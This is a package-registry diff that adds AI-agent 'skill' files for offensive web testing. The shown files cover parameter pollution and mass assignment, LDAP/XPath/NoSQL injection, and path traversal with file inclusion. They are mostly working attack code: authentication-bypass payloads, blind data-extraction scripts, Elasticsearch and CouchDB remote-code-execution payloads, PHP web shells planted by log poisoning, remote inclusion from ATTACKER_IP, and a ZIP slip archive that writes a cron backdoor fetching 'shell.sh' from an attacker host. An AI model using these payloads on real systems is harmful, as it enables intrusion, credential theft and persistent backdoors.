rtexit-method 0.1.8 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-http-parameter-pollution
|
|
3
|
+
description: "HTTP Parameter Pollution, mass assignment, and parameter tampering skill for authorized engagements. HPP to bypass WAF/filters, duplicate parameter behavior across frameworks, mass assignment in REST APIs (adding role/admin fields), hidden parameter discovery, parameter type juggling, array injection, and JSON property injection. Use when testing how applications handle unexpected or duplicate parameters."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-http-parameter-pollution — HTTP Parameter Pollution & Mass Assignment
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Parameter pollution attacks exploit how applications handle unexpected, duplicate, or extra parameters. Different frameworks handle duplicate parameters differently — what the WAF sees vs what the app sees differs, enabling filter bypass and unauthorized data injection.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — HTTP Parameter Pollution (HPP)
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Different frameworks handle duplicate params differently:
|
|
18
|
+
# PHP: last value wins → ?a=1&a=2 → a=2
|
|
19
|
+
# ASP.NET: first value wins → ?a=1&a=2 → a=1
|
|
20
|
+
# ASP.NET MVC: comma-joined → ?a=1&a=2 → a=1,2
|
|
21
|
+
# Node/Express: array → ?a=1&a=2 → a=['1','2']
|
|
22
|
+
# Flask/Python: first value → ?a=1&a=2 → a=1
|
|
23
|
+
|
|
24
|
+
# WAF bypass: split attack payload across duplicate params
|
|
25
|
+
# WAF sees: a=SEL and a=ECT * → not 'SELECT *' → passes
|
|
26
|
+
# Server concatenates: a=SELECT * → SQLi executes
|
|
27
|
+
curl "https://target.com/search?q=SEL&q=ECT+*+FROM+users"
|
|
28
|
+
curl "https://target.com/search?q=<scr&q=ipt>alert(1)</script>"
|
|
29
|
+
|
|
30
|
+
# Auth bypass via duplicate params
|
|
31
|
+
# If app checks first param but uses second:
|
|
32
|
+
curl "https://target.com/api?admin=false&admin=true"
|
|
33
|
+
|
|
34
|
+
# Test HPP behavior
|
|
35
|
+
for val in "1¶m=2" "1%26param=2" "1;param=2"; do
|
|
36
|
+
curl "https://target.com/api?param=$val" -v
|
|
37
|
+
done
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — Mass Assignment
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# REST APIs that bind request body to model objects
|
|
46
|
+
# If model has admin/role field not exposed in docs → inject it
|
|
47
|
+
|
|
48
|
+
# Registration with role escalation
|
|
49
|
+
curl -X POST https://target.com/api/register \
|
|
50
|
+
-H "Content-Type: application/json" \
|
|
51
|
+
-d '{"username":"attacker","password":"pass","role":"admin"}'
|
|
52
|
+
|
|
53
|
+
# Profile update with hidden fields
|
|
54
|
+
curl -X PUT https://target.com/api/user/profile \
|
|
55
|
+
-H "Content-Type: application/json" \
|
|
56
|
+
-d '{"name":"test","isAdmin":true,"verified":true,"credits":99999}'
|
|
57
|
+
|
|
58
|
+
# Common hidden fields to try
|
|
59
|
+
# role, roles, isAdmin, admin, superuser, verified, active
|
|
60
|
+
# credits, balance, quota, tier, plan
|
|
61
|
+
# permissions, scopes, groups
|
|
62
|
+
# created_at, updated_at (override timestamps)
|
|
63
|
+
# password_confirmation (skip validation)
|
|
64
|
+
|
|
65
|
+
# Parameter guessing from error messages
|
|
66
|
+
# Send request → error reveals model field names
|
|
67
|
+
curl -X POST https://target.com/api/register \
|
|
68
|
+
-d '{"invalid_field": "value"}'
|
|
69
|
+
# Error: "Unknown field 'invalid_field'. Known fields: username, password, email, role, isActive"
|
|
70
|
+
# → role and isActive are valid fields!
|
|
71
|
+
|
|
72
|
+
# GraphQL mass assignment
|
|
73
|
+
# Mutations often accept more fields than documented
|
|
74
|
+
curl -X POST https://target.com/graphql \
|
|
75
|
+
-d '{"query":"mutation{updateUser(id:1,input:{name:\"x\",role:\"admin\",isAdmin:true}){id name role}}"}'
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## Phase 3 — Array & JSON Injection
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# Array injection when server expects single value
|
|
84
|
+
# Normal: ?id=1
|
|
85
|
+
# Array: ?id[]=1&id[]=2 → may access records 1 AND 2
|
|
86
|
+
|
|
87
|
+
# PHP array injection
|
|
88
|
+
curl "https://target.com/delete?id[]=1&id[]=2&id[]=999" # Delete multiple records
|
|
89
|
+
curl "https://target.com/api?role[]=user&role[]=admin" # Multiple roles
|
|
90
|
+
|
|
91
|
+
# JSON type confusion
|
|
92
|
+
# Server expects string, send array/object
|
|
93
|
+
curl -X POST https://target.com/api/login \
|
|
94
|
+
-d '{"username":{"$ne":""},"password":{"$ne":""}}' # MongoDB NoSQL injection
|
|
95
|
+
|
|
96
|
+
# Type juggling (PHP loose comparison)
|
|
97
|
+
# md5('240610708') == md5('QNKCDZO') → both start with "0e"
|
|
98
|
+
# PHP treats 0e... as scientific notation → both = 0 → equal!
|
|
99
|
+
curl -X POST https://target.com/login \
|
|
100
|
+
-d "password=240610708" # If stored hash is md5('QNKCDZO') → login bypass
|
|
101
|
+
|
|
102
|
+
# JSON number vs string
|
|
103
|
+
curl -X POST https://target.com/api \
|
|
104
|
+
-d '{"id": "1 OR 1=1"}' # String — possible SQLi
|
|
105
|
+
curl -X POST https://target.com/api \
|
|
106
|
+
-d '{"id": 9999999999}' # Large int — integer overflow
|
|
107
|
+
curl -X POST https://target.com/api \
|
|
108
|
+
-d '{"id": null}' # Null — bypass null check
|
|
109
|
+
curl -X POST https://target.com/api \
|
|
110
|
+
-d '{"id": true}' # Boolean — type confusion
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## Phase 4 — Hidden Parameter Discovery
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
# Param Miner (Burp extension) — automated hidden param discovery
|
|
119
|
+
# Active Scan → Param Miner → "Guess params"
|
|
120
|
+
# Tests thousands of potential parameter names
|
|
121
|
+
|
|
122
|
+
# Manual — common hidden params
|
|
123
|
+
hidden_params=(
|
|
124
|
+
"debug" "test" "admin" "internal" "dev"
|
|
125
|
+
"callback" "redirect" "return" "next" "url"
|
|
126
|
+
"format" "output" "type" "action" "method"
|
|
127
|
+
"id" "user_id" "account_id" "token" "key"
|
|
128
|
+
"override" "bypass" "force" "unsafe"
|
|
129
|
+
)
|
|
130
|
+
|
|
131
|
+
for param in "${hidden_params[@]}"; do
|
|
132
|
+
response=$(curl -s "https://target.com/api?$param=true" -w "%{http_code}")
|
|
133
|
+
echo "$param: ${response: -3}"
|
|
134
|
+
done
|
|
135
|
+
|
|
136
|
+
# Source code mining for hidden params
|
|
137
|
+
# Extract from JavaScript files
|
|
138
|
+
grep -rE "params\[|req\.query\.|request\.args\.|request\.GET\[" *.js *.py *.rb
|
|
139
|
+
linkfinder -i https://target.com -d # Extract endpoints + params from JS
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Phase 5 — Parameter Tampering
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# Modify parameters that appear fixed/uneditable in UI
|
|
148
|
+
|
|
149
|
+
# Hidden form fields
|
|
150
|
+
curl -X POST https://target.com/checkout \
|
|
151
|
+
-d "product_id=1&price=0.01&quantity=1" # Change price
|
|
152
|
+
|
|
153
|
+
# JWT claims tampering (see also rt-exploit-jwt)
|
|
154
|
+
# Encoded params in cookies
|
|
155
|
+
# Base64 decode → modify → re-encode
|
|
156
|
+
echo "dXNlcjoxMjM=" | base64 -d # user:123
|
|
157
|
+
echo -n "user:1" | base64 # → dXNlcjox → change to user 1
|
|
158
|
+
|
|
159
|
+
# IDOR via parameter change
|
|
160
|
+
GET /api/invoice/download?id=12345 → id=12344, id=12346
|
|
161
|
+
|
|
162
|
+
# Price in Base64 (some carts encode price server-side)
|
|
163
|
+
# Decode → modify → encode → submit
|
|
164
|
+
echo "cHJpY2U9MTAwMC4wMA==" | base64 -d # price=1000.00
|
|
165
|
+
echo -n "price=0.01" | base64 | curl -X POST ... -d "data=BASE64"
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Skill Levels
|
|
171
|
+
|
|
172
|
+
**BEGINNER:** Mass assignment with admin/role fields · HPP with duplicate params · Array injection
|
|
173
|
+
|
|
174
|
+
**INTERMEDIATE:** WAF bypass via HPP splitting · Hidden parameter discovery with Param Miner · JSON type confusion
|
|
175
|
+
|
|
176
|
+
**ADVANCED:** PHP type juggling exploit · Complex mass assignment via nested objects · Parameter precedence abuse
|
|
177
|
+
|
|
178
|
+
**EXPERT:** Framework-specific HPP behavior chains · Custom parameter pollution for specific filter bypass
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## References
|
|
183
|
+
|
|
184
|
+
- PortSwigger Mass Assignment: https://portswigger.net/web-security/api-testing/mass-assignment-vulnerabilities
|
|
185
|
+
- HPP research: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution
|
|
186
|
+
- Param Miner: https://github.com/PortSwigger/param-miner
|
|
187
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,228 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-ldap-xpath-injection
|
|
3
|
+
description: "LDAP injection, XPath injection, and deep NoSQL injection skill for authorized engagements. LDAP authentication bypass via filter injection, LDAP enumeration via blind injection, XPath authentication bypass and data extraction, MongoDB operator injection depth, Elasticsearch injection, and CouchDB HTTP API attacks. Use when applications query LDAP directories, XML datastores, or document databases."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-ldap-xpath-injection — LDAP, XPath & Advanced NoSQL Injection
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Beyond SQL injection, applications use LDAP (directory services), XPath (XML querying), and NoSQL databases — each with their own injection vulnerabilities. LDAP injection can bypass Windows AD authentication. XPath injection can extract entire XML documents. NoSQL injection bypasses authentication across MongoDB, Redis, and Elasticsearch.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Part 1 — LDAP Injection
|
|
15
|
+
|
|
16
|
+
### Phase 1 — LDAP Auth Bypass
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Vulnerable LDAP filter: (&(uid=USER)(password=PASS))
|
|
20
|
+
|
|
21
|
+
# Auth bypass — close filter early, always true
|
|
22
|
+
Username: *)(uid=*))(|(uid=*
|
|
23
|
+
Password: anything
|
|
24
|
+
# Resulting filter: (&(uid=*)(uid=*))(|(uid=*)(password=anything))
|
|
25
|
+
# Returns first user → logged in as admin
|
|
26
|
+
|
|
27
|
+
# Simpler bypass
|
|
28
|
+
Username: admin)(&
|
|
29
|
+
Password: anything
|
|
30
|
+
# Filter: (&(uid=admin)(&)(password=anything)) → uid=admin always true
|
|
31
|
+
|
|
32
|
+
# Wildcard bypass
|
|
33
|
+
Username: *
|
|
34
|
+
Password: *
|
|
35
|
+
# Filter: (&(uid=*)(password=*)) → matches everyone
|
|
36
|
+
|
|
37
|
+
# Test with curl (LDAP-backed login form)
|
|
38
|
+
curl -X POST https://target.com/login \
|
|
39
|
+
-d "username=*)(uid=*))(|(uid=*&password=anything"
|
|
40
|
+
# If logged in as first user → LDAP injection confirmed
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Phase 2 — LDAP Blind Enumeration
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# Extract data via true/false responses
|
|
47
|
+
# (&(uid=admin)(cn=a*)) → if true: admin's CN starts with 'a'
|
|
48
|
+
|
|
49
|
+
python3 << 'EOF'
|
|
50
|
+
import requests, string
|
|
51
|
+
|
|
52
|
+
def test_ldap(filter_payload):
|
|
53
|
+
r = requests.post("https://target.com/login",
|
|
54
|
+
data={"username": filter_payload, "password": "x"})
|
|
55
|
+
return "Login successful" in r.text or r.status_code == 302
|
|
56
|
+
|
|
57
|
+
# Enumerate admin's email character by character
|
|
58
|
+
email = ""
|
|
59
|
+
for pos in range(1, 50):
|
|
60
|
+
for char in string.ascii_lowercase + string.digits + "@._-":
|
|
61
|
+
# Filter: (&(uid=admin)(mail=FOUND_SO_FAR*))
|
|
62
|
+
payload = f"admin)(mail={email}{char}*)(uid=admin"
|
|
63
|
+
if test_ldap(payload):
|
|
64
|
+
email += char
|
|
65
|
+
print(f"Email so far: {email}")
|
|
66
|
+
break
|
|
67
|
+
EOF
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Part 2 — XPath Injection
|
|
73
|
+
|
|
74
|
+
### Phase 3 — XPath Auth Bypass
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# Vulnerable XPath: //users/user[username/text()='USER' and password/text()='PASS']
|
|
78
|
+
|
|
79
|
+
# Always true bypass
|
|
80
|
+
Username: ' or '1'='1
|
|
81
|
+
Password: ' or '1'='1
|
|
82
|
+
# Query: //users/user[username/text()='' or '1'='1' and ...] → all users match
|
|
83
|
+
|
|
84
|
+
# Comment out password check
|
|
85
|
+
Username: admin' # XPath has no comments, use other techniques
|
|
86
|
+
# Or: admin' or 'x'='x
|
|
87
|
+
|
|
88
|
+
# Short-circuit
|
|
89
|
+
Username: ' or 1=1 or '
|
|
90
|
+
Password: x
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### Phase 4 — XPath Data Extraction (Blind)
|
|
94
|
+
|
|
95
|
+
```bash
|
|
96
|
+
# Extract XML document contents via true/false responses
|
|
97
|
+
python3 << 'EOF'
|
|
98
|
+
import requests, string
|
|
99
|
+
|
|
100
|
+
def test_xpath(payload):
|
|
101
|
+
r = requests.post("https://target.com/search",
|
|
102
|
+
data={"username": payload, "password": "x"})
|
|
103
|
+
return "success" in r.text.lower()
|
|
104
|
+
|
|
105
|
+
# Count users
|
|
106
|
+
for n in range(1, 20):
|
|
107
|
+
if test_xpath(f"x' or count(//user)={n} or 'x'='"):
|
|
108
|
+
print(f"User count: {n}")
|
|
109
|
+
break
|
|
110
|
+
|
|
111
|
+
# Extract first user's password character by character
|
|
112
|
+
result = ""
|
|
113
|
+
for pos in range(1, 30):
|
|
114
|
+
for char in string.printable:
|
|
115
|
+
payload = f"x' or substring(//user[1]/password,{pos},1)='{char}' or 'x'='"
|
|
116
|
+
if test_xpath(payload):
|
|
117
|
+
result += char
|
|
118
|
+
print(f"Password so far: {result}")
|
|
119
|
+
break
|
|
120
|
+
EOF
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Part 3 — Advanced NoSQL Injection
|
|
126
|
+
|
|
127
|
+
### Phase 5 — MongoDB Deep Injection
|
|
128
|
+
|
|
129
|
+
```bash
|
|
130
|
+
# MongoDB operator injection (beyond basic auth bypass)
|
|
131
|
+
|
|
132
|
+
# $where JavaScript injection
|
|
133
|
+
curl "https://target.com/api/users?filter[$where]=this.username=='admin'&&this.password.match(/a.*/)"
|
|
134
|
+
|
|
135
|
+
# $regex for enumeration
|
|
136
|
+
curl "https://target.com/api/users?password[$regex]=^a"
|
|
137
|
+
curl "https://target.com/api/users?password[$regex]=^ab"
|
|
138
|
+
# Binary search to extract password
|
|
139
|
+
|
|
140
|
+
# Blind MongoDB injection via error timing
|
|
141
|
+
for char in a b c d e f 0 1 2 3 4 5 6 7 8 9; do
|
|
142
|
+
start=$SECONDS
|
|
143
|
+
curl -s "https://target.com/api?user[$where]=function(){var x=this.password;if(x[0]=='$char'){sleep(2000)};return true}" > /dev/null
|
|
144
|
+
elapsed=$((SECONDS - start))
|
|
145
|
+
[ $elapsed -ge 2 ] && echo "First char: $char" && break
|
|
146
|
+
done
|
|
147
|
+
|
|
148
|
+
# $lookup for cross-collection access (MongoDB aggregation)
|
|
149
|
+
curl "https://target.com/api/search" \
|
|
150
|
+
-d '{"$lookup":{"from":"users","localField":"_id","foreignField":"_id","as":"user_data"}}'
|
|
151
|
+
|
|
152
|
+
# Array operator abuse
|
|
153
|
+
curl "https://target.com/api/users?role[$in][]=admin&role[$in][]=superadmin"
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
### Phase 6 — Elasticsearch Injection
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# Elasticsearch HTTP API — often unauthenticated internally
|
|
160
|
+
curl http://ES_IP:9200/_cat/indices?v
|
|
161
|
+
curl http://ES_IP:9200/_search?q=*
|
|
162
|
+
|
|
163
|
+
# Script injection via Painless/Groovy
|
|
164
|
+
curl -X POST "http://ES_IP:9200/users/_search" \
|
|
165
|
+
-H "Content-Type: application/json" \
|
|
166
|
+
-d '{
|
|
167
|
+
"query": {
|
|
168
|
+
"bool": {
|
|
169
|
+
"filter": {
|
|
170
|
+
"script": {
|
|
171
|
+
"script": {
|
|
172
|
+
"source": "Runtime rt = Runtime.getRuntime(); String[] commands = new String[]{\"id\"}; Process proc = rt.exec(commands); proc.waitFor(); return true;",
|
|
173
|
+
"lang": "painless"
|
|
174
|
+
}
|
|
175
|
+
}
|
|
176
|
+
}
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
}'
|
|
180
|
+
|
|
181
|
+
# CVE-2014-3120 / CVE-2015-1427 (Groovy script RCE — older Elasticsearch)
|
|
182
|
+
curl -X POST "http://ES_IP:9200/_search?pretty" \
|
|
183
|
+
-d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"result":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.String.class).invoke(java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"}}}'
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
### Phase 7 — CouchDB HTTP API
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# CouchDB default: no auth, admin party
|
|
190
|
+
curl http://COUCHDB_IP:5984/ # Server info
|
|
191
|
+
curl http://COUCHDB_IP:5984/_all_dbs # List all databases
|
|
192
|
+
curl http://COUCHDB_IP:5984/users/_all_docs # All documents
|
|
193
|
+
|
|
194
|
+
# Create admin account
|
|
195
|
+
curl -X PUT "http://COUCHDB_IP:5984/_config/admins/attacker" \
|
|
196
|
+
-d '"password123"'
|
|
197
|
+
|
|
198
|
+
# CVE-2017-12635 (Privilege escalation via JSON parsing)
|
|
199
|
+
curl -X PUT "http://COUCHDB_IP:5984/_users/org.couchdb.user:attacker" \
|
|
200
|
+
-H "Content-Type: application/json" \
|
|
201
|
+
-d '{"type":"user","name":"attacker","roles":["_admin"],"roles":[],"password":"password"}'
|
|
202
|
+
|
|
203
|
+
# Erlang code execution (CVE-2018-8007)
|
|
204
|
+
curl -X PUT "http://admin:pass@COUCHDB_IP:5984/_config/query_servers/cmd" \
|
|
205
|
+
-d '"os:cmd(\"id\")"'
|
|
206
|
+
curl -X POST "http://admin:pass@COUCHDB_IP:5984/test/_temp_view" \
|
|
207
|
+
-d '{"map":"cmd(\"id\")"}'
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Skill Levels
|
|
213
|
+
|
|
214
|
+
**BEGINNER:** LDAP auth bypass with wildcard · XPath always-true bypass · MongoDB $ne auth bypass
|
|
215
|
+
|
|
216
|
+
**INTERMEDIATE:** Blind LDAP enumeration · XPath character extraction · MongoDB $regex password extraction
|
|
217
|
+
|
|
218
|
+
**ADVANCED:** Elasticsearch Painless script injection · CouchDB privilege escalation via CVEs
|
|
219
|
+
|
|
220
|
+
**EXPERT:** Blind time-based LDAP/XPath · MongoDB $where JavaScript injection · Custom NoSQL query analysis
|
|
221
|
+
|
|
222
|
+
---
|
|
223
|
+
|
|
224
|
+
## References
|
|
225
|
+
|
|
226
|
+
- OWASP LDAP Injection: https://owasp.org/www-community/attacks/LDAP_Injection
|
|
227
|
+
- PortSwigger XPath: https://portswigger.net/web-security/xml/xpath-injection
|
|
228
|
+
- MongoDB injection: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
|
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-path-traversal
|
|
3
|
+
description: "Path traversal, Local File Inclusion (LFI), and Remote File Inclusion (RFI) skill for authorized engagements. Directory traversal to /etc/passwd, LFI via PHP wrappers, LFI to RCE via log poisoning and /proc/self/environ, ZIP slip file upload attacks, null byte injection, encoding bypasses, and RFI for remote code execution. Use when applications load files based on user input."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-path-traversal — Path Traversal, LFI & RFI
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Path traversal and file inclusion vulnerabilities let attackers read arbitrary files (LFI) or include remote malicious code (RFI) by manipulating file path parameters. LFI escalates to RCE via log poisoning, PHP wrappers, or /proc pseudo-filesystem abuse.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Path Traversal Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Basic traversal
|
|
18
|
+
https://target.com/download?file=../../../etc/passwd
|
|
19
|
+
https://target.com/view?page=../../../../etc/shadow
|
|
20
|
+
https://target.com/load?template=../../config.php
|
|
21
|
+
|
|
22
|
+
# Encoding bypasses
|
|
23
|
+
../ → %2e%2e%2f
|
|
24
|
+
../ → ..%2f
|
|
25
|
+
../ → %2e%2e/
|
|
26
|
+
../ → ....// (double dot slash)
|
|
27
|
+
../ → ..%252f (double URL encode)
|
|
28
|
+
../ → ..%c0%af (overlong UTF-8)
|
|
29
|
+
|
|
30
|
+
# Null byte (bypass file extension check in old PHP)
|
|
31
|
+
?file=../../../../etc/passwd%00.png
|
|
32
|
+
# PHP < 5.3: %00 truncates string → .png ignored
|
|
33
|
+
|
|
34
|
+
# Automated with ffuf
|
|
35
|
+
ffuf -u "https://target.com/file?name=FUZZ" \
|
|
36
|
+
-w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
|
37
|
+
-mr "root:x\|\\[boot loader\\]"
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — LFI Sensitive File Targets
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# Linux
|
|
46
|
+
/etc/passwd # User accounts
|
|
47
|
+
/etc/shadow # Password hashes (root only)
|
|
48
|
+
/etc/hosts # Internal hostnames
|
|
49
|
+
/etc/crontab # Scheduled tasks
|
|
50
|
+
/proc/self/environ # Environment variables (may have DB passwords)
|
|
51
|
+
/proc/self/cmdline # Current process command line
|
|
52
|
+
/proc/self/fd/ # Open file descriptors
|
|
53
|
+
/var/log/apache2/access.log # Apache access log (for log poisoning)
|
|
54
|
+
/var/log/nginx/access.log # Nginx access log
|
|
55
|
+
/var/log/auth.log # SSH auth logs
|
|
56
|
+
/var/mail/www-data # Mail spool
|
|
57
|
+
/home/user/.ssh/id_rsa # SSH private key
|
|
58
|
+
/home/user/.bash_history # Command history
|
|
59
|
+
/var/www/html/.env # Laravel/Symfony secrets
|
|
60
|
+
/var/www/html/config.php # App database credentials
|
|
61
|
+
|
|
62
|
+
# Windows
|
|
63
|
+
C:\Windows\win.ini
|
|
64
|
+
C:\Windows\System32\drivers\etc\hosts
|
|
65
|
+
C:\inetpub\wwwroot\web.config
|
|
66
|
+
C:\xampp\apache\logs\access.log
|
|
67
|
+
C:\wamp\logs\access.log
|
|
68
|
+
C:\Users\Administrator\Desktop\
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Phase 3 — LFI to RCE
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Method 1: Apache/Nginx Log Poisoning
|
|
77
|
+
# Step 1: Inject PHP into User-Agent (written to access.log)
|
|
78
|
+
curl "https://target.com/" -A "<?php system(\$_GET['cmd']); ?>"
|
|
79
|
+
|
|
80
|
+
# Step 2: Include the log file
|
|
81
|
+
https://target.com/page?file=/var/log/apache2/access.log&cmd=id
|
|
82
|
+
# PHP executes the shell code in the log
|
|
83
|
+
|
|
84
|
+
# Method 2: /proc/self/environ
|
|
85
|
+
# Set PHP in User-Agent
|
|
86
|
+
curl "https://target.com/" -A "<?php system(\$_GET['c']); ?>"
|
|
87
|
+
# Include environ
|
|
88
|
+
https://target.com/page?file=/proc/self/environ&c=id
|
|
89
|
+
|
|
90
|
+
# Method 3: SSH Log Poisoning
|
|
91
|
+
# SSH as: ssh '<?php system($_GET["cmd"]); ?>'@target.com
|
|
92
|
+
# Include: /var/log/auth.log
|
|
93
|
+
|
|
94
|
+
# Method 4: PHP Wrappers
|
|
95
|
+
# php://filter — read PHP source
|
|
96
|
+
https://target.com/page?file=php://filter/convert.base64-encode/resource=config.php
|
|
97
|
+
|
|
98
|
+
# php://input — execute POST body as PHP (requires allow_url_include)
|
|
99
|
+
curl "https://target.com/page?file=php://input" -d "<?php system('id'); ?>"
|
|
100
|
+
|
|
101
|
+
# data:// wrapper — include inline PHP
|
|
102
|
+
https://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
|
|
103
|
+
# base64 of: <?php system('id'); ?>
|
|
104
|
+
|
|
105
|
+
# phar:// — PHP archive code execution
|
|
106
|
+
# Create phar with PHP payload
|
|
107
|
+
php -r "
|
|
108
|
+
\$p = new Phar('shell.phar');
|
|
109
|
+
\$p['shell.php'] = '<?php system(\$_GET[\"c\"]); ?>';
|
|
110
|
+
\$p->stopBuffering();
|
|
111
|
+
"
|
|
112
|
+
# Upload phar as image (phar magic bytes don't look like PHP)
|
|
113
|
+
# Include: ?file=phar://uploads/shell.phar/shell.php&c=id
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## Phase 4 — RFI (Remote File Inclusion)
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
# Requires: allow_url_include = On in PHP (less common now)
|
|
122
|
+
# Host malicious PHP
|
|
123
|
+
echo '<?php system($_GET["c"]); ?>' > shell.txt
|
|
124
|
+
python3 -m http.server 8080
|
|
125
|
+
|
|
126
|
+
# Include remote file
|
|
127
|
+
https://target.com/page?file=http://ATTACKER_IP:8080/shell.txt&c=id
|
|
128
|
+
|
|
129
|
+
# SMB-based RFI (Windows targets)
|
|
130
|
+
# Host share: smbserver.py -smb2support share /tmp/
|
|
131
|
+
https://target.com/page?file=\\ATTACKER_IP\share\shell.php&c=whoami
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## Phase 5 — ZIP Slip / Archive Path Traversal
|
|
137
|
+
|
|
138
|
+
```python
|
|
139
|
+
# Malicious ZIP with path traversal in filename
|
|
140
|
+
import zipfile
|
|
141
|
+
|
|
142
|
+
with zipfile.ZipFile("zipslip.zip", "w") as z:
|
|
143
|
+
# Traverse to webroot
|
|
144
|
+
z.writestr("../../var/www/html/shell.php",
|
|
145
|
+
"<?php system($_GET['c']); ?>")
|
|
146
|
+
z.writestr("../../etc/cron.d/backdoor",
|
|
147
|
+
"* * * * * root curl http://ATTACKER/shell.sh | bash")
|
|
148
|
+
|
|
149
|
+
# Upload → server extracts → shell.php written to webroot
|
|
150
|
+
curl https://target.com/upload -F "archive=@zipslip.zip"
|
|
151
|
+
curl https://target.com/shell.php?c=id
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Skill Levels
|
|
157
|
+
|
|
158
|
+
**BEGINNER:** Basic ../ traversal for /etc/passwd · PHP filter wrapper for source read
|
|
159
|
+
|
|
160
|
+
**INTERMEDIATE:** Log poisoning for LFI→RCE · php://input execution · ZIP Slip
|
|
161
|
+
|
|
162
|
+
**ADVANCED:** phar:// deserialization · /proc/ exploitation · Encoding bypass chains
|
|
163
|
+
|
|
164
|
+
**EXPERT:** Blind LFI detection via timing · Custom encoding chains · LFI in binary protocols
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## References
|
|
169
|
+
|
|
170
|
+
- PortSwigger Path Traversal: https://portswigger.net/web-security/file-path-traversal
